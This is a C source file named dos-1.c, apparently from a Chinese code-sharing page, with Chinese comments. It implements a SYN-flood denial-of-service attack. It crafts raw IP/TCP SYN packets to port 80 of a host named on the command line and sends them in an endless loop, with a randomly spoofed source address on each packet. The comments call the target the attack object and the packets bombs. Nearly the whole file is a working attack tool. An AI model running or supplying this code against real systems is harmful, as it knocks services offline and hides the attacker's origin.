📄 dos-1.c
字号:
#include <sys/socket.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <stdlib.h> #include <string.h>#include <errno.h> #include <unistd.h> #include <stdio.h> #include <netdb.h> #define DESTPORT 80#define LOCALPORT 8888 void send_tcp(int sockfd,struct sockaddr_in *addr); unsigned short check_sum(unsigned short *addr,int len); int main(int argc,char **argv) { int sockfd; struct sockaddr_in addr; struct hostent *host; int on=1; if(argc!=2) { fprintf(stderr,"Usage:%s hostname\n\a",argv[0]); exit(1); } /* 填充 sockaddr结构 */ bzero(&addr,sizeof(struct sockaddr_in)); addr.sin_family=AF_INET; addr.sin_port=htons(DESTPORT); if(inet_aton(argv[1],&addr.sin_addr)==0) { host=gethostbyname(argv[1]); if(host==NULL) { fprintf(stderr,"HostName Error:%s\n\a",hstrerror(h_errno)); exit(1); } addr.sin_addr=*(struct in_addr *)(host->h_addr_list[0]); } /* 使用IPPROTO_TCP创建一个TCP的原始套接字 */ sockfd=socket(AF_INET,SOCK_RAW,IPPROTO_TCP); if(sockfd<0) { fprintf(stderr,"Socket Error:%s\n\a",strerror(errno)); exit(1); } /* 设置IP数据包格式,告诉系统内核模块IP数据包由我们自己来填写 */ setsockopt(sockfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on)); // IP_HDRINCL:在数据包中包含IP首部 /* 超级用户才可以使用原始套接字 */ setuid(getpid()); /* 发送炸弹了 */ send_tcp(sockfd,&addr); } /* 发送炸弹的实现 */ void send_tcp(int sockfd,struct sockaddr_in *addr) { char buffer[100]; // 用来放置我们的数据包 struct ip *ip; struct tcphdr *tcp; int head_len; /* 数据包实际上没有任何内容,所以长度就是两个结构的长度 */ head_len=sizeof(struct ip)+sizeof(struct tcphdr); bzero(buffer,100); /* 填充IP数据包的头部 */ ip=(struct ip *)buffer; ip->ip_v=IPVERSION; // 版本一般是4 ip->ip_hl=sizeof(struct ip)>>2; // IP数据包的首部长度 ip->ip_tos=0; // 服务类型 ip->ip_len=htons(head_len); // IP数据包的长度 ip->ip_id=0; // 系统填写 ip->ip_off=0; // 系统填写 ip->ip_ttl=MAXTTL; //最长时间255 ip->ip_p=IPPROTO_TCP; // 要发的是TCP包 ip->ip_sum=0; // 系统完成 ip->ip_dst=addr->sin_addr; // 攻击对象 /* 填写TCP数据包 */ tcp=(struct tcphdr *)(buffer +sizeof(struct ip)); tcp->source=htons(LOCALPORT); // 源端口 tcp->dest=addr->sin_port; // 目的端口 tcp->seq=random(); // 开始序列号随机 tcp->ack_seq=0; // 确认序列号 tcp->doff=5; // 首部长度 tcp->syn=1; // 请求建立连接 tcp->check=0; // 系统完成 while(1) { ip->ip_src.s_addr=random(); // 随机生成源地址 /* 校验头部 */ tcp->check=check_sum((unsigned short *)tcp,sizeof(struct tcphdr)); sendto(sockfd,buffer,head_len,0,addr,sizeof(struct sockaddr_in)); } } /* 首部校验和的算法 */ unsigned short check_sum(unsigned short *addr,int len) { register int nleft=len; register int sum=0; register short *w=addr; short answer=0; while(nleft>1) { sum+=*w++; nleft-=2; } if(nleft==1) { *(unsigned char *)(&answer)=*(unsigned char *)w; sum+=answer; } sum=(sum>>16)+(sum&0xffff); // 将高16bit与低16bit相加 sum+=(sum>>16); // 将进位到高位的16bit与低16bit 再相加 answer=~sum; return(answer); }
⌨️ 快捷键说明
复制代码
Ctrl + C
搜索代码
Ctrl + F
全屏模式
F11
切换主题
Ctrl + Shift + D
显示快捷键
?
增大字号
Ctrl + =
减小字号
Ctrl + -